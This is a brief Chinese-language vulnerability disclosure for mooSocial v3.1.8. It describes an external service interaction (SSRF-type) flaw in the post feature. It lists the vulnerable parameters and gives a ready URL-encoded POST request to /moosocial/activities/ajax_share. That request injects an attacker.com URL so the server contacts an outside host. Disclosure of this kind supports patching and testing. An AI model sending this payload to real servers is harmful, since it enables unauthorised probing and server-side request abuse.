mooSocial v3.1.8 在 post 功能中存在外部服务交互漏洞。执行后，服务器会向外部服务器发送 HTTP 和 DNS 请求。
漏洞参数：messageText、data[wall_photo]、data[userShareVideo] 和 data[userShareLink]
Payload : http://attacker.com/?null=
向 /moosocial/activities/ajax_share 发送 POST 请求（仅 POST 请求数据）：
[data%5Btype%5D=User&data%5Btarget_id%5D=0&data%5Baction%5D=wall_post&data%5Bwall_photo%5D=&data%5Bsubject_type%5D=&messageText=asas&data%5BuserShareLink%5D=&data%5BuserShareVideo%5D=http%3A%2F%2Fattacker.com%2F%3Fnull&data%5BuserTagging%5D=&data%5BshareImage%5D=1&data%5Bprivacy%5D=1]
